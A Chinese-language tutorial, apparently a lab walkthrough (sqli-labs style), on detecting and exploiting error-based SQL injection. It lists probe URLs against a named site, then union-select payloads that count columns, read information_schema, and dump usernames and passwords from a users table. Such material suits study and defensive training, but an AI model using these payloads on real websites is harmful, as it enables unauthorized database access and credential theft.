1.SQL注入漏洞的几种判断方法
①http://www.heetian.com/showtail.asp?id=40'
②http://www.heetian.com/showtail.asp?id=40 and 1=1
③http://www.heetian.com/showtail.asp?id=40 and 1=2
如果执行①后,页面上提示报错或者提示数据库错误的话,说明是存在注入漏洞的。 如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。
2.收集信息、判断数据库类型
从其返回的信息中可以判断下数据库的类型,更多可能可以知道部分数据库中的字段以及其他有用信息,为下一步攻击提供铺垫。
一、基于错误的_get_单引号_字符型注入
?id=1
输一个id值,返回了name和password,接着测试是否能注入,url后加上?id=',发现报错了,直接报的数据库的错,对web浏览器用户透明,那么可以从报错中得到很多信息,比如这是个MySQL的数据库,还可以猜想到后台的sql语句,应该是“SELECT * FROM table_name WHERE id='$_get['id']' LIMIT 0,1”这种,说明他没有过滤单引号,并且id是char型的输入,之所以报错是因为用了单引号,导致后面的部分“'LIMT 0,1;”多余出来了
构造sql语句-1‘OR’1'='1'--+屏蔽掉后面的,也可以用#屏蔽,但这里#没有被url编码,故需自己将他转成url编码%23
接着来猜字段
?id=1%27%20order%20by%204--+
然后知道字段为3
然后利用union(联合查询)的特点,使原查询左边为空,那么我们定义的查询结果便可以返回出来
?id=-1%27%20union%20select%201,2,3%23
然后使用数据库函数爆出数据库信息
?id=' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23
user:root@
数据库名:security
用到的数据库函数有cancat_ws(),char(),user(),database(),cancat_ws()是连接函数,第一个参数是分隔符,同样作用的函数还有cancat(),不同的是cancat()没有连接符,char()函数是将十进制参数转换成对应的acsii码,user()和database()都是内置的函数,分别返回用户名和数据库名,类似的函数还有version(),返回数据库的版本信息,但是没有直接返回表名的函数,所以需要通过其他方式获取表名
获取表名
这里有一个很经典的方法,我们可以通过系统数据库information_schema来获取表名,information_schema数据库中含有很重要的三张表:SCHEMATA,TABLES和COLUMNS
SCHEMATA表中存储了MySQL中所有数据库的信息,包括数据库名,编码类型路径等,show databases的结果取之此表
TABLES表中存储了MySQL中所有数据库的表的信息(当然,索引是根据数据库名的),包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等,show tables from schemaname的结果取之此表
COLUMNS表中存储了MySQL中所有表的字段信息,show columns from schemaname.tablename的结果取之此表
查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。
?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479%23
这样就爆出了第一张表名,但要获取所有表名还需要用到'limit',limit是用来指定范围,他有两个参数(limit a,b)a是从第几行开始取,b是取多少行,但需要注意的是实际取出来的开始行下标比a大1,即limit 5,10是表示取6到15行数据,接下来我们就可以用它取指定范围的表了
?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23
这里取的是第5张表,如果超出能取的范围,他会报错
同样的方法爆出字段名(列举users的列名)
?id=0' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1%23
然后枚举用户名和密码
?id=0' union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 2,1%23
注:
猜出字段后,利用sql自动添加猜出的字段数
然后让其报错(在5前面加个负号,或者and 1=2)
然后利用该报错信息,报其他信息,在其显示的报错字段改成下面的